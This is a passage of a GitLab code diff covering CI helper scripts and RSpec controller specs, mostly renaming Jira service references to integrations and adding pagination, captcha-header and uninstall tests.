+ # See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63144/diffs#fa2193ace3f6a02f7ef9995ef9bc519eca92c4ee_57_84
+ if feature_flag_name.start_with?('redirect_to_latest_template_')
+ puts "Skipping the #{feature_flag_name} feature flag since it starts with 'redirect_to_latest_template_'."
+ next
+ end
all_flags[feature_flag_name] = File.exist?(File.join('tmp', 'feature_flags', feature_flag_name + '.used'))
end
diff --git a/scripts/utils.sh b/scripts/utils.sh
index 529491c3a0d..700dad58779 100644
--- a/scripts/utils.sh
+++ b/scripts/utils.sh
@@ -40,7 +40,7 @@ function bundle_install_script() {
bundle config set path 'vendor'
bundle config set clean 'true'
- echo $BUNDLE_WITHOUT
+ echo "${BUNDLE_WITHOUT}"
bundle config
run_timed_command "bundle install ${BUNDLE_INSTALL_FLAGS} ${extra_install_args} && bundle check"
@@ -134,3 +134,10 @@ function fail_pipeline_early() {
scripts/api/cancel_pipeline.rb
fi
}
+
+function danger_as_local() {
+ # Force danger to skip CI source GitLab and fallback to "local only git repo".
+ unset GITLAB_CI
+ # We need to base SHA to help danger determine the base commit for this shallow clone.
+ bundle exec danger dry_run --fail-on-errors=true --verbose --base="${CI_MERGE_REQUEST_DIFF_BASE_SHA}"
+}
diff --git a/scripts/verify-tff-mapping b/scripts/verify-tff-mapping
index 4555a9854dd..ca73d4f5f7a 100755
--- a/scripts/verify-tff-mapping
+++ b/scripts/verify-tff-mapping
@@ -90,8 +90,8 @@ tests = [
{
explanation: 'EE views should map to respective spec',
- source: 'ee/app/views/admin/licenses/show.html.haml',
- expected: ['ee/spec/views/admin/licenses/show.html.haml_spec.rb']
+ source: 'ee/app/views/subscriptions/new.html.haml',
+ expected: ['ee/spec/views/subscriptions/new.html.haml_spec.rb']
},
{
diff --git a/spec/config/settings_spec.rb b/spec/config/settings_spec.rb
index 6525ae653c9..0c2465678f9 100644
--- a/spec/config/settings_spec.rb
+++ b/spec/config/settings_spec.rb
@@ -113,12 +113,12 @@ RSpec.describe Settings do
end
end
- describe '.cron_for_usage_ping' do
+ describe '.cron_for_service_ping' do
it 'returns correct crontab for some manually calculated example' do
allow(Gitlab::CurrentSettings)
.to receive(:uuid) { 'd9e2f4e8-db1f-4e51-b03d-f427e1965c4a'}
- expect(described_class.send(:cron_for_usage_ping)).to eq('21 18 * * 4')
+ expect(described_class.send(:cron_for_service_ping)).to eq('21 18 * * 4')
end
it 'returns min, hour, day in the valid range' do
@@ -126,7 +126,7 @@ RSpec.describe Settings do
.to receive(:uuid) { SecureRandom.uuid }
10.times do
- cron = described_class.send(:cron_for_usage_ping).split(/\s/)
+ cron = described_class.send(:cron_for_service_ping).split(/\s/)
expect(cron[0].to_i).to be_between(0, 59)
expect(cron[1].to_i).to be_between(0, 23)
diff --git a/spec/controllers/abuse_reports_controller_spec.rb b/spec/controllers/abuse_reports_controller_spec.rb
index bab0d033056..3ef78226db0 100644
--- a/spec/controllers/abuse_reports_controller_spec.rb
+++ b/spec/controllers/abuse_reports_controller_spec.rb
@@ -56,7 +56,7 @@ RSpec.describe AbuseReportsController do
post :create, params: { abuse_report: attrs }
end
- it 'redirects back to the reported user' do
+ it 'redirects back to root' do
post :create, params: { abuse_report: attrs }
expect(response).to redirect_to root_path
diff --git a/spec/controllers/admin/application_settings_controller_spec.rb b/spec/controllers/admin/application_settings_controller_spec.rb
index 6258dd30438..478bd1b7f0a 100644
--- a/spec/controllers/admin/application_settings_controller_spec.rb
+++ b/spec/controllers/admin/application_settings_controller_spec.rb
@@ -171,6 +171,13 @@ RSpec.describe Admin::ApplicationSettingsController, :do_not_mock_admin_mode_set
expect(ApplicationSetting.current.admin_mode).to be(true)
end
+ it 'updates valid_runner_registrars setting' do
+ put :update, params: { application_setting: { valid_runner_registrars: ['project', ''] } }
+
+ expect(response).to redirect_to(general_admin_application_settings_path)
+ expect(ApplicationSetting.current.valid_runner_registrars).to eq(['project'])
+ end
+
context "personal access token prefix settings" do
let(:application_settings) { ApplicationSetting.current }
diff --git a/spec/controllers/admin/integrations_controller_spec.rb b/spec/controllers/admin/integrations_controller_spec.rb
index 79c39784173..5a68bb2749b 100644
--- a/spec/controllers/admin/integrations_controller_spec.rb
+++ b/spec/controllers/admin/integrations_controller_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe Admin::IntegrationsController do
end
describe '#edit' do
- Integration.available_services_names.each do |integration_name|
+ Integration.available_integration_names.each do |integration_name|
context "#{integration_name}" do
it 'successfully displays the template' do
get :edit, params: { id: integration_name }
@@ -27,7 +27,7 @@ RSpec.describe Admin::IntegrationsController do
end
it 'returns 404' do
- get :edit, params: { id: Integration.available_services_names.sample }
+ get :edit, params: { id: Integration.available_integration_names.sample }
expect(response).to have_gitlab_http_status(:not_found)
end
@@ -37,10 +37,10 @@ RSpec.describe Admin::IntegrationsController do
describe '#update' do
include JiraServiceHelper
- let(:integration) { create(:jira_service, :instance) }
+ let(:integration) { create(:jira_integration, :instance) }
before do
- stub_jira_service_test
+ stub_jira_integration_test
allow(PropagateIntegrationWorker).to receive(:perform_async)
put :update, params: { id: integration.class.to_param, service: { url: url } }
@@ -75,8 +75,8 @@ RSpec.describe Admin::IntegrationsController do
end
describe '#reset' do
- let_it_be(:integration) { create(:jira_service, :instance) }
- let_it_be(:inheriting_integration) { create(:jira_service, inherit_from_id: integration.id) }
+ let_it_be(:integration) { create(:jira_integration, :instance) }
+ let_it_be(:inheriting_integration) { create(:jira_integration, inherit_from_id: integration.id) }
subject do
post :reset, params: { id: integration.class.to_param }
diff --git a/spec/controllers/admin/services_controller_spec.rb b/spec/controllers/admin/services_controller_spec.rb
index 995282ca4bb..06ff8f0db94 100644
--- a/spec/controllers/admin/services_controller_spec.rb
+++ b/spec/controllers/admin/services_controller_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe Admin::ServicesController do
describe 'GET #edit' do
let(:service) do
- create(:jira_service, :template)
+ create(:jira_integration, :template)
end
it 'successfully displays the template' do
@@ -30,7 +30,7 @@ RSpec.describe Admin::ServicesController do
context 'when instance integration exists' do
before do
- create(:jira_service, :instance)
+ create(:jira_integration, :instance)
end
it 'redirects to the admin application integration page' do
diff --git a/spec/controllers/confirmations_controller_spec.rb b/spec/controllers/confirmations_controller_spec.rb
index c9a0ae981fc..401ee36b387 100644
--- a/spec/controllers/confirmations_controller_spec.rb
+++ b/spec/controllers/confirmations_controller_spec.rb
@@ -18,6 +18,7 @@ RSpec.describe ConfirmationsController do
context 'user is already confirmed' do
let_it_be_with_reload(:user) { create(:user, :unconfirmed) }
+
let(:confirmation_token) { user.confirmation_token }
before do
@@ -57,6 +58,7 @@ RSpec.describe ConfirmationsController do
context 'user accesses the link after the expiry of confirmation token has passed' do
let_it_be_with_reload(:user) { create(:user, :unconfirmed) }
+
let(:confirmation_token) { user.confirmation_token }
before do
diff --git a/spec/controllers/dashboard/projects_controller_spec.rb b/spec/controllers/dashboard/projects_controller_spec.rb
index ed8dc1eb7cb..0d9bd146778 100644
--- a/spec/controllers/dashboard/projects_controller_spec.rb
+++ b/spec/controllers/dashboard/projects_controller_spec.rb
@@ -15,6 +15,7 @@ RSpec.describe Dashboard::ProjectsController, :aggregate_failures do
context 'user logged in' do
let_it_be(:project) { create(:project, name: 'Project 1') }
let_it_be(:project2) { create(:project, name: 'Project Two') }
+
let(:projects) { [project, project2] }
before_all do
diff --git a/spec/controllers/groups/group_links_controller_spec.rb b/spec/controllers/groups/group_links_controller_spec.rb
index 94d3c1ffa0f..fafe9715946 100644
--- a/spec/controllers/groups/group_links_controller_spec.rb
+++ b/spec/controllers/groups/group_links_controller_spec.rb
@@ -88,7 +88,7 @@ RSpec.describe Groups::GroupLinksController do
end
end
- it 'updates project permissions' do
+ it 'updates project permissions', :sidekiq_inline do
expect { subject }.to change { group_member.can?(:read_project, project) }.from(false).to(true)
end
@@ -207,7 +207,7 @@ RSpec.describe Groups::GroupLinksController do
end
end
- it 'updates project permissions' do
+ it 'updates project permissions', :sidekiq_inline do
expect { subject }.to change { group_member.can?(:create_release, project) }.from(true).to(false)
end
end
@@ -244,7 +244,7 @@ RSpec.describe Groups::GroupLinksController do
expect { subject }.to change(GroupGroupLink, :count).by(-1)
end
- it 'updates project permissions' do
+ it 'updates project permissions', :sidekiq_inline do
expect { subject }.to change { group_member.can?(:create_release, project) }.from(true).to(false)
end
end
diff --git a/spec/controllers/groups/settings/integrations_controller_spec.rb b/spec/controllers/groups/settings/integrations_controller_spec.rb
index 4f1f6dcaae4..ef8f9f69710 100644
--- a/spec/controllers/groups/settings/integrations_controller_spec.rb
+++ b/spec/controllers/groups/settings/integrations_controller_spec.rb
@@ -36,7 +36,7 @@ RSpec.describe Groups::Settings::IntegrationsController do
describe '#edit' do
context 'when user is not owner' do
it 'renders not_found' do
- get :edit, params: { group_id: group, id: Integration.available_services_names(include_project_specific: false).sample }
+ get :edit, params: { group_id: group, id: Integration.available_integration_names(include_project_specific: false).sample }
expect(response).to have_gitlab_http_status(:not_found)
end
@@ -47,8 +47,8 @@ RSpec.describe Groups::Settings::IntegrationsController do
group.add_owner(user)
end
- Integration.available_services_names(include_project_specific: false).each do |integration_name|
- context "#{integration_name}" do
+ Integration.available_integration_names(include_project_specific: false).each do |integration_name|
+ context integration_name do
it 'successfully displays the template' do
get :edit, params: { group_id: group, id: integration_name }
@@ -63,11 +63,11 @@ RSpec.describe Groups::Settings::IntegrationsController do
describe '#update' do
include JiraServiceHelper
- let(:integration) { create(:jira_service, project: nil, group_id: group.id) }
+ let(:integration) { create(:jira_integration, project: nil, group_id: group.id) }
before do
group.add_owner(user)
- stub_jira_service_test
+ stub_jira_integration_test
put :update, params: { group_id: group, id: integration.class.to_param, service: { url: url } }
end
@@ -93,8 +93,8 @@ RSpec.describe Groups::Settings::IntegrationsController do
end
describe '#reset' do
- let_it_be(:integration) { create(:jira_service, group: group, project: nil) }
- let_it_be(:inheriting_integration) { create(:jira_service, inherit_from_id: integration.id) }
+ let_it_be(:integration) { create(:jira_integration, group: group, project: nil) }
+ let_it_be(:inheriting_integration) { create(:jira_integration, inherit_from_id: integration.id) }
subject do
post :reset, params: { group_id: group, id: integration.class.to_param }
diff --git a/spec/controllers/help_controller_spec.rb b/spec/controllers/help_controller_spec.rb
index 71d9cab7280..599e82afe9b 100644
--- a/spec/controllers/help_controller_spec.rb
+++ b/spec/controllers/help_controller_spec.rb
@@ -150,11 +150,11 @@ RSpec.describe HelpController do
context 'for Markdown formats' do
subject { get :show, params: { path: path }, format: :md }
- let(:path) { 'ssh/README' }
+ let(:path) { 'ssh/index' }
context 'when requested file exists' do
before do
- expect_file_read(File.join(Rails.root, 'doc/ssh/README.md'), content: fixture_file('blockquote_fence_after.md'))
+ expect_file_read(File.join(Rails.root, 'doc/ssh/index.md'), content: fixture_file('blockquote_fence_after.md'))
subject
end
@@ -265,7 +265,7 @@ RSpec.describe HelpController do
it 'always renders not found' do
get :show,
params: {
- path: 'ssh/README'
+ path: 'ssh/index'
},
format: :foo
expect(response).to be_not_found
@@ -274,7 +274,7 @@ RSpec.describe HelpController do
end
def stub_readme(content)
- expect_file_read(Rails.root.join('doc', 'README.md'), content: content)
+ expect_file_read(Rails.root.join('doc', 'index.md'), content: content)
end
def stub_two_factor_required
diff --git a/spec/controllers/import/bulk_imports_controller_spec.rb b/spec/controllers/import/bulk_imports_controller_spec.rb
index 8f74d210667..3b2ed2c63ed 100644
--- a/spec/controllers/import/bulk_imports_controller_spec.rb
+++ b/spec/controllers/import/bulk_imports_controller_spec.rb
@@ -51,7 +51,7 @@ RSpec.describe Import::BulkImportsController do
end
describe 'GET status' do
- let(:client) { BulkImports::Clients::HTTP.new(uri: 'http://gitlab.example', token: 'token') }
+ let(:client) { BulkImports::Clients::HTTP.new(url: 'http://gitlab.example', token: 'token') }
describe 'serialized group data' do
let(:client_response) do
@@ -149,7 +149,7 @@ RSpec.describe Import::BulkImportsController do
context 'when connection error occurs' do
before do
allow(controller).to receive(:client).and_return(client)
- allow(client).to receive(:get).and_raise(BulkImports::Clients::HTTP::ConnectionError)
+ allow(client).to receive(:get).and_raise(BulkImports::Error)
end
it 'returns 422' do
diff --git a/spec/controllers/invites_controller_spec.rb b/spec/controllers/invites_controller_spec.rb
index 6b94d186d5f..0d9cde88eca 100644
--- a/spec/controllers/invites_controller_spec.rb
+++ b/spec/controllers/invites_controller_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe InvitesController do
let_it_be(:user) { create(:user) }
let_it_be(:member, reload: true) { create(:project_member, :invited, invite_email: user.email) }
+
let(:raw_invite_token) { member.raw_invite_token }
let(:project_members) { member.source.users }
let(:md5_member_global_id) { Digest::MD5.hexdigest(member.to_global_id.to_s) }
@@ -127,38 +128,11 @@ RSpec.describe InvitesController do
expect(flash[:notice]).to include('create an account or sign in')
end
- context 'when it is part of our invite email experiment', :experiment, :aggregate_failures do
- let(:experience) { :control }
-
- before do
- stub_experiments(invite_signup_page_interaction: experience)
- end
-
- it 'sets originating_member_id session key' do
- request
-
- expect(session[:originating_member_id]).to eq(member.id)
- end
-
- context 'with control experience' do
- it 'is redirected to a new registration with invite email param and flash message' do
- request
-
- expect(response).to redirect_to(new_user_registration_path(invite_email: member.invite_email))
- expect(flash[:notice]).to eq 'To accept this invitation, create an account or sign in.'
- end
- end
-
- context 'with candidate experience' do
- let(:experience) { :candidate }
-
- it 'is redirected to a new invite registration with invite email param and no flash message' do
- request
+ it 'is redirected to a new registration with invite email param and flash message', :aggregate_failures do
+ request
- expect(response).to redirect_to(new_users_sign_up_invite_path(invite_email: member.invite_email))
- expect(flash[:notice]).to be_nil
- end
- end
+ expect(response).to redirect_to(new_user_registration_path(invite_email: member.invite_email))
+ expect(flash[:notice]).to eq 'To accept this invitation, create an account or sign in.'
end
it 'sets session keys for auto email confirmation on sign up' do
diff --git a/spec/controllers/jira_connect/events_controller_spec.rb b/spec/controllers/jira_connect/events_controller_spec.rb
index 8a07f69e480..e9fecb594a7 100644
--- a/spec/controllers/jira_connect/events_controller_spec.rb
+++ b/spec/controllers/jira_connect/events_controller_spec.rb
@@ -66,19 +66,19 @@ RSpec.describe JiraConnect::EventsController do
request.headers['Authorization'] = "JWT #{auth_token}"
end
- subject { post :uninstalled }
+ subject(:post_uninstalled) { post :uninstalled }
context 'when JWT is invalid' do
let(:auth_token) { 'invalid_token' }
it 'returns 403' do
- subject
+ post_uninstalled
expect(response).to have_gitlab_http_status(:forbidden)
end
it 'does not delete the installation' do
- expect { subject }.not_to change { JiraConnectInstallation.count }
+ expect { post_uninstalled }.not_to change { JiraConnectInstallation.count }
end
end
@@ -87,8 +87,27 @@ RSpec.describe JiraConnect::EventsController do
Atlassian::Jwt.encode({ iss: installation.client_key, qsh: qsh }, installation.shared_secret)
end
- it 'deletes the installation' do
- expect { subject }.to change { JiraConnectInstallation.count }.by(-1)
+ let(:jira_base_path) { '/-/jira_connect' }
+ let(:jira_event_path) { '/-/jira_connect/events/uninstalled' }
+
+ it 'calls the DestroyService and returns ok in case of success' do
+ expect_next_instance_of(JiraConnectInstallations::DestroyService, installation, jira_base_path, jira_event_path) do |destroy_service|
+ expect(destroy_service).to receive(:execute).and_return(true)
+ end
+
+ post_uninstalled
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ it 'calls the DestroyService and returns unprocessable_entity in case of failure' do
+ expect_next_instance_of(JiraConnectInstallations::DestroyService, installation, jira_base_path, jira_event_path) do |destroy_service|
+ expect(destroy_service).to receive(:execute).and_return(false)
+ end
+
+ post_uninstalled
+
+ expect(response).to have_gitlab_http_status(:unprocessable_entity)
end
end
end
diff --git a/spec/controllers/profiles/emails_controller_spec.rb b/spec/controllers/profiles/emails_controller_spec.rb
index 950120ae564..ce16632472f 100644
--- a/spec/controllers/profiles/emails_controller_spec.rb
+++ b/spec/controllers/profiles/emails_controller_spec.rb
@@ -63,6 +63,7 @@ RSpec.describe Profiles::EmailsController do
describe '#resend_confirmation_instructions' do
let_it_be(:email) { create(:email, user: user) }
+
let(:params) { { id: email.id } }
subject { put(:resend_confirmation_instructions, params: params) }
diff --git a/spec/controllers/profiles/personal_access_tokens_controller_spec.rb b/spec/controllers/profiles/personal_access_tokens_controller_spec.rb
index 1fdd1200028..3859af66292 100644
--- a/spec/controllers/profiles/personal_access_tokens_controller_spec.rb
+++ b/spec/controllers/profiles/personal_access_tokens_controller_spec.rb
@@ -64,5 +64,17 @@ RSpec.describe Profiles::PersonalAccessTokensController do
it "retrieves newly created personal access token value" do
expect(assigns(:new_personal_access_token)).to eql(token_value)
end
+
+ it "sets PAT name and scopes" do
+ name = 'My PAT'
+ scopes = 'api,read_user'
+
+ get :index, params: { name: name, scopes: scopes }
+
+ expect(assigns(:personal_access_token)).to have_attributes(
+ name: eq(name),
+ scopes: contain_exactly(:api, :read_user)
+ )
+ end
end
end
diff --git a/spec/controllers/projects/blob_controller_spec.rb b/spec/controllers/projects/blob_controller_spec.rb
index 9493215247a..53efcc65066 100644
--- a/spec/controllers/projects/blob_controller_spec.rb
+++ b/spec/controllers/projects/blob_controller_spec.rb
@@ -5,7 +5,8 @@ require 'spec_helper'
RSpec.describe Projects::BlobController do
include ProjectForksHelper
- let(:project) { create(:project, :public, :repository) }
+ let(:project) { create(:project, :public, :repository, previous_default_branch: previous_default_branch) }
+ let(:previous_default_branch) { nil }
describe "GET show" do
def request
@@ -42,6 +43,20 @@ RSpec.describe Projects::BlobController do
it { is_expected.to respond_with(:not_found) }
end
+ context "renamed default branch, valid file" do
+ let(:id) { 'old-default-branch/README.md' }
+ let(:previous_default_branch) { 'old-default-branch' }
+
+ it { is_expected.to redirect_to("/#{project.full_path}/-/blob/#{project.default_branch}/README.md") }
+ end
+
+ context "renamed default branch, invalid file" do
+ let(:id) { 'old-default-branch/invalid-path.rb' }
+ let(:previous_default_branch) { 'old-default-branch' }
+
+ it { is_expected.to redirect_to("/#{project.full_path}/-/blob/#{project.default_branch}/invalid-path.rb") }
+ end
+
context "binary file" do
let(:id) { 'binary-encoding/encoding/binary-1.bin' }
diff --git a/spec/controllers/projects/commit_controller_spec.rb b/spec/controllers/projects/commit_controller_spec.rb
index c650d145bef..16bb33e95c8 100644
--- a/spec/controllers/projects/commit_controller_spec.rb
+++ b/spec/controllers/projects/commit_controller_spec.rb
@@ -483,7 +483,7 @@ RSpec.describe Projects::CommitController do
end
context 'when rendering a JSON format' do
- it 'responds with serialized pipelines' do
+ it 'responds with serialized pipelines', :aggregate_failures do
get_pipelines(id: commit.id, format: :json)
expect(response).to be_ok
@@ -491,6 +491,26 @@ RSpec.describe Projects::CommitController do
expect(json_response['count']['all']).to eq 1
expect(response).to include_pagination_headers
end
+
+ context 'with pagination' do
+ let!(:extra_pipeline) { create(:ci_pipeline, project: project, ref: project.default_branch, sha: commit.sha, status: :running) }
+
+ it 'paginates the result when ref is blank' do
+ allow(Ci::Pipeline).to receive(:default_per_page).and_return(1)
+
+ get_pipelines(id: commit.id, format: :json)
+
+ expect(json_response['pipelines'].count).to eq(1)
+ end
+
+ it 'paginates the result when ref is present' do
+ allow(Ci::Pipeline).to receive(:default_per_page).and_return(1)
+
+ get_pipelines(id: commit.id, ref: project.default_branch, format: :json)
+
+ expect(json_response['pipelines'].count).to eq(1)
+ end
+ end
end
end
end
diff --git a/spec/controllers/projects/design_management/designs/raw_images_controller_spec.rb b/spec/controllers/projects/design_management/designs/raw_images_controller_spec.rb
index c78b838d0df..55ab0f0eefa 100644
--- a/spec/controllers/projects/design_management/designs/raw_images_controller_spec.rb
+++ b/spec/controllers/projects/design_management/designs/raw_images_controller_spec.rb
@@ -109,7 +109,7 @@ RSpec.describe Projects::DesignManagement::Designs::RawImagesController do
context 'when sha is nil' do
let(:sha) { nil }
- let(:expected_ref) { 'master' }
+ let(:expected_ref) { project.design_repository.root_ref }
it_behaves_like 'a successful request for sha'
end
@@ -147,7 +147,7 @@ RSpec.describe Projects::DesignManagement::Designs::RawImagesController do
let(:file) { fixture_file_upload('spec/fixtures/dk.png', '`/png') }
let(:lfs_pointer) { Gitlab::Git::LfsPointerFile.new(file.read) }
let(:design) { create(:design, :with_lfs_file, file: lfs_pointer.pointer, issue: issue) }
- let(:lfs_oid) { project.design_repository.blob_at('HEAD', design.full_path).lfs_oid }
+ let(:lfs_oid) { project.design_repository.blob_at(design.repository.root_ref, design.full_path).lfs_oid }
let(:filepath) { design.full_path }
end
end
diff --git a/spec/controllers/projects/import/jira_controller_spec.rb b/spec/controllers/projects/import/jira_controller_spec.rb
index 37a7fce0c23..5288c0fcf21 100644
--- a/spec/controllers/projects/import/jira_controller_spec.rb
+++ b/spec/controllers/projects/import/jira_controller_spec.rb
@@ -12,7 +12,7 @@ RSpec.describe Projects::Import::JiraController do
def ensure_correct_config
sign_in(user)
project.add_maintainer(user)
- stub_jira_service_test
+ stub_jira_integration_test
end
shared_examples 'redirect with error' do |error|
@@ -54,8 +54,8 @@ RSpec.describe Projects::Import::JiraController do
context 'when loged user is a developer' do
before do
- create(:jira_service, project: project)
- stub_jira_service_test
+ create(:jira_integration, project: project)
+ stub_jira_integration_test
sign_in(user)
project.add_developer(user)
@@ -72,7 +72,7 @@ RSpec.describe Projects::Import::JiraController do
it_behaves_like 'users without permissions'
- context 'jira service configuration' do
+ context 'jira integration configuration' do
before do
sign_in(user)
project.add_maintainer(user)
@@ -80,14 +80,14 @@ RSpec.describe Projects::Import::JiraController do
context 'when Jira service is not enabled for the project' do
it 'does not query Jira service' do
- expect(project).not_to receive(:jira_service)
+ expect(project).not_to receive(:jira_integration)
end
it_behaves_like 'template with no message'
end
context 'when Jira service is not configured correctly for the project' do
- let_it_be(:jira_service) { create(:jira_service, project: project) }
+ let_it_be(:jira_integration) { create(:jira_integration, project: project) }
before do
WebMock.stub_request(:get, 'https://jira.example.com/rest/api/2/serverInfo')
diff --git a/spec/controllers/projects/issues_controller_spec.rb b/spec/controllers/projects/issues_controller_spec.rb
index 7569a18baeb..922ecb6052a 100644
--- a/spec/controllers/projects/issues_controller_spec.rb
+++ b/spec/controllers/projects/issues_controller_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe Projects::IssuesController do
before do
sign_in(user)
project.add_developer(user)
- create(:jira_service, project: project)
+ create(:jira_integration, project: project)
end
context 'when GitLab issues disabled' do
@@ -1016,10 +1016,13 @@ RSpec.describe Projects::IssuesController do
let(:spammy_title) { 'Whatever' }
let!(:spam_logs) { create_list(:spam_log, 2, user: user, title: spammy_title) }
+ before do
+ request.headers['X-GitLab-Captcha-Response'] = 'a-valid-captcha-response'
+ request.headers['X-GitLab-Spam-Log-Id'] = spam_logs.last.id
+ end
+
def update_verified_issue
- update_issue(
- issue_params: { title: spammy_title },
- additional_params: { spam_log_id: spam_logs.last.id, 'g-recaptcha-response': true })
+ update_issue(issue_params: { title: spammy_title })
end
it 'returns 200 status' do
@@ -1036,8 +1039,9 @@ RSpec.describe Projects::IssuesController do
it 'does not mark spam log as recaptcha_verified when it does not belong to current_user' do
spam_log = create(:spam_log)
+ request.headers['X-GitLab-Spam-Log-Id'] = spam_log.id
- expect { update_issue(issue_params: { spam_log_id: spam_log.id, 'g-recaptcha-response': true }) }
+ expect { update_issue }
.not_to change { SpamLog.last.recaptcha_verified }
end
end
diff --git a/spec/controllers/projects/merge_requests/diffs_controller_spec.rb b/spec/controllers/projects/merge_requests/diffs_controller_spec.rb
index 4fcb63ac616..707d074b5c1 100644
--- a/spec/controllers/projects/merge_requests/diffs_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests/diffs_controller_spec.rb
@@ -88,8 +88,6 @@ RSpec.describe Projects::MergeRequests::DiffsController do
let(:merge_request) { create(:merge_request_with_diffs, target_project: project, source_project: project) }
before do
- stub_feature_flags(diffs_gradual_load: false)
-
project.add_maintainer(user)
sign_in(user)
end
@@ -474,8 +472,6 @@ RSpec.describe Projects::MergeRequests::DiffsController do
diff_view: :inline,
merge_ref_head_diff: nil,
pagination_data: {
- current_page: nil,
- next_page: nil,
total_pages: nil
}.merge(pagination_data)
}
@@ -486,7 +482,7 @@ RSpec.describe Projects::MergeRequests::DiffsController do
namespace_id: project.namespace.to_param,
project_id: project,
id: merge_request.iid,
- page: 1,
+ page: 0,
per_page: 20,
format: 'json'
}
@@ -517,7 +513,7 @@ RSpec.describe Projects::MergeRequests::DiffsController do
it_behaves_like 'serializes diffs with expected arguments' do
let(:collection) { Gitlab::Diff::FileCollection::MergeRequestDiffBatch }
- let(:expected_options) { collection_arguments(current_page: 1, total_pages: 1).merge(merge_ref_head_diff: false) }
+ let(:expected_options) { collection_arguments(total_pages: 20).merge(merge_ref_head_diff: false) }
end
it_behaves_like 'successful request'
@@ -557,7 +553,7 @@ RSpec.describe Projects::MergeRequests::DiffsController do
it_behaves_like 'serializes diffs with expected arguments' do
let(:collection) { Gitlab::Diff::FileCollection::MergeRequestDiffBatch }
let(:expected_options) do
- collection_arguments(current_page: 1, total_pages: 1)
+ collection_arguments(total_pages: 20)
end
end
@@ -576,18 +572,18 @@ RSpec.describe Projects::MergeRequests::DiffsController do
it_behaves_like 'serializes diffs with expected arguments' do
let(:collection) { Gitlab::Diff::FileCollection::MergeRequestDiffBatch }
- let(:expected_options) { collection_arguments(current_page: 1, total_pages: 1) }
+ let(:expected_options) { collection_arguments(total_pages: 20) }
end
it_behaves_like 'successful request'
end
context 'with smaller diff batch params' do
- subject { go(page: 2, per_page: 5) }
+ subject { go(page: 5, per_page: 5) }
it_behaves_like 'serializes diffs with expected arguments' do
let(:collection) { Gitlab::Diff::FileCollection::MergeRequestDiffBatch }
- let(:expected_options) { collection_arguments(current_page: 2, next_page: 3, total_pages: 4) }
+ let(:expected_options) { collection_arguments(total_pages: 20) }
end
it_behaves_like 'successful request'
diff --git a/spec/controllers/projects/merge_requests_controller_spec.rb b/spec/controllers/projects/merge_requests_controller_spec.rb
index d4c52e1c7ca..7b5a58fe2e5 100644
--- a/spec/controllers/projects/merge_requests_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests_controller_spec.rb
@@ -860,6 +860,20 @@ RSpec.describe Projects::MergeRequestsController do
end
end
end
+
+ context 'with pagination' do
+ before do
+ create(:ci_pipeline, project: merge_request.source_project, ref: merge_request.source_branch, sha: merge_request.diff_head_sha)
+ end
+
+ it 'paginates the result' do
+ allow(Ci::Pipeline).to receive(:default_per_page).and_return(1)
+
+ get :pipelines, params: { namespace_id: project.namespace.to_param, project_id: project, id: merge_request.iid }, format: :json
+
+ expect(json_response['pipelines'].count).to eq(1)
+ end
+ end
end
describe 'GET context commits' do
diff --git a/spec/controllers/projects/pipelines_controller_spec.rb b/spec/controllers/projects/pipelines_controller_spec.rb
index a80c5fa82f6..2379ff9fd98 100644
--- a/spec/controllers/projects/pipelines_controller_spec.rb
+++ b/spec/controllers/projects/pipelines_controller_spec.rb
@@ -66,6 +66,14 @@ RSpec.describe Projects::PipelinesController do
expect(json_response['pipelines'][0]).not_to include('coverage')
end
+ it 'paginates the result' do
+ allow(Ci::Pipeline).to receive(:default_per_page).and_return(2)
+
+ get_pipelines_index_json
+
+ check_pipeline_response(returned: 2, all: 6)
+ end
+
context 'when performing gitaly calls', :request_store do
it 'limits the Gitaly requests' do
# Isolate from test preparation (Repository#exists? is also cached in RequestStore)
@@ -284,10 +292,6 @@ RSpec.describe Projects::PipelinesController do
subject { project.namespace }
- context 'pipeline_empty_state_templates experiment' do
- it_behaves_like 'tracks assignment and records the subject', :pipeline_empty_state_templates, :namespace
- end
-
context 'code_quality_walkthrough experiment' do
it_behaves_like 'tracks assignment and records the subject', :code_quality_walkthrough, :namespace
end
diff --git a/spec/controllers/projects/prometheus/metrics_controller_spec.rb b/spec/controllers/projects/prometheus/metrics_controller_spec.rb
index c7c3be20f29..5338b77bd08 100644
--- a/spec/controllers/projects/prometheus/metrics_controller_spec.rb
+++ b/spec/controllers/projects/prometheus/metrics_controller_spec.rb
@@ -141,7 +141,7 @@ RSpec.describe Projects::Prometheus::MetricsController do
expect(flash[:notice]).to include('Metric was successfully added.')
- expect(response).to redirect_to(edit_project_service_path(project, PrometheusService))
+ expect(response).to redirect_to(edit_project_service_path(project, ::Integrations::Prometheus))
end
end
@@ -164,7 +164,7 @@ RSpec.describe Projects::Prometheus::MetricsController do
it 'destroys the metric' do
delete :destroy, params: project_params(id: metric.id)
- expect(response).to redirect_to(edit_project_service_path(project, PrometheusService))
+ expect(response).to redirect_to(edit_project_service_path(project, ::Integrations::Prometheus))
expect(PrometheusMetric.find_by(id: metric.id)).to be_nil
end
end
diff --git a/spec/controllers/projects/runners_controller_spec.rb b/spec/controllers/projects/runners_controller_spec.rb
index 39b45a7133c..70ff77d7ff0 100644
--- a/spec/controllers/projects/runners_controller_spec.rb
+++ b/spec/controllers/projects/runners_controller_spec.rb
@@ -111,7 +111,7 @@ RSpec.describe Projects::RunnersController do
expect(response).to have_gitlab_http_status(:unauthorized)
expect(project.shared_runners_enabled).to eq(false)
- expect(json_response['error']).to eq('Cannot enable shared runners because parent group does not allow it')
+ expect(json_response['error']).to eq('Shared runners enabled cannot be enabled because parent group does not allow it')
end
end
end
diff --git a/spec/controllers/projects/service_hook_logs_controller_spec.rb b/spec/controllers/projects/service_hook_logs_controller_spec.rb
index 040e59fc822..9caa4a06b44 100644
--- a/spec/controllers/projects/service_hook_logs_controller_spec.rb
+++ b/spec/controllers/projects/service_hook_logs_controller_spec.rb
@@ -27,6 +27,15 @@ RSpec.describe Projects::ServiceHookLogsController do
specify do
expect(response).to be_successful
end
+
+ it 'renders a 404 if the hook does not exist' do
+ log_params
+ integration.service_hook.destroy!
+
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
end
describe 'POST #retry' do
